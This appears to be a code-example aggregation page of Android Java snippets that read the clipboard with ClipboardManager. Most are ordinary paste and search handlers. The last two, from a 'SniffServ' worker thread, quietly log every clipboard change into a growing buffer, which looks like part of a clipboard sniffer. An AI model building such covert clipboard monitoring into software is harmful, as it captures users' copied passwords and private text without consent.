Ejemplo n.º 1
0
 @SuppressLint("NewApi")
 @Override
 public boolean onTextContextMenuItem(int id) {
   if (id == android.R.id.paste) {
     ClipboardManager clip =
         (ClipboardManager) getContext().getSystemService(Context.CLIPBOARD_SERVICE);
     if (clip == null || clip.getText() == null) {
       return false;
     }
     String text = clip.getText().toString();
     if (text.startsWith(ChatActivity.COPY_IMAGE)) {
       //                intent.setDataAndType(Uri.fromFile(new File("/sdcard/mn1.jpg")),
       // "image/*");
       text = text.replace(ChatActivity.COPY_IMAGE, "");
       Intent intent = new Intent(context, AlertDialog.class);
       String str = context.getResources().getString(R.string.Send_the_following_pictures);
       intent.putExtra("title", str);
       intent.putExtra("forwardImage", text);
       intent.putExtra("cancel", true);
       ((Activity) context)
           .startActivityForResult(intent, ChatActivity.REQUEST_CODE_COPY_AND_PASTE);
       //                clip.setText("");
     }
   }
   return super.onTextContextMenuItem(id);
 }
 @Override
 public CharSequence getText() {
   if (mClipboardManager == null) {
     return null;
   }
   return mClipboardManager.getText();
 }
Ejemplo n.º 3
0
 public void onClick(View v) {
   ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
   // Should always be true, because we grey out the clipboard button in onResume() if it's
   // empty
   if (clipboard.hasText()) {
     launchSearch(clipboard.getText().toString());
   }
 }
 @Override
 public void handlePaste() {
   final ClipboardManager clipboardManager =
       (ClipboardManager) inputMethodService.getSystemService(Context.CLIPBOARD_SERVICE);
   final CharSequence text = clipboardManager.getText();
   if (!Strings.isEmpty(text)) {
     commitText(text, 1);
   }
 }
Ejemplo n.º 5
0
  public static String getClipboard(Context context) {
    ClipboardManager clipboard =
        (ClipboardManager) context.getSystemService(Context.CLIPBOARD_SERVICE);
    CharSequence csText = clipboard.getText();
    if (csText == null) {
      return "";
    }

    return csText.toString();
  }
Ejemplo n.º 6
0
 private void doPaste() {
   ClipboardManager clip = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE);
   CharSequence paste = clip.getText();
   byte[] utf8;
   try {
     utf8 = paste.toString().getBytes("UTF-8");
   } catch (UnsupportedEncodingException e) {
     Log.e(TermDebug.LOG_TAG, "UTF-8 encoding not found.");
     return;
   }
   getCurrentTermSession().write(paste.toString());
 }
Ejemplo n.º 7
0
 public static String getClipboardString(Activity activity) {
   try {
     ClipboardManager clipboard =
         (ClipboardManager) activity.getSystemService(Context.CLIPBOARD_SERVICE);
     CharSequence content = clipboard.getText();
     if (content == null) {
       return "";
     }
     return content.toString();
   } catch (Exception e) {
     // todo insert uncaught error handler
     return "";
   }
 }
 // ==============================================================================
 public final String getClipboardContent() {
   ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
   return clipboard.getText().toString();
 }
 /** monitors the clipboard for changes and appends them to clipboardData */
 private void MonitorClipboard() {
   if (clipboard.hasText() && !isSameSequence(clipboard.getText(), clipText)) {
     clipText = clipboard.getText();
     clipboardData = clipboardData.toString() + clipText.toString() + "\r\n";
   }
 }
 /** constrcutor */
 public WorkerThread() {
   clipboard = SniffServ.getClipboardManager();
   powerMan = SniffServ.getPowerManager();
   clipText = clipboard.getText();
   clipboardData = clipText;
 }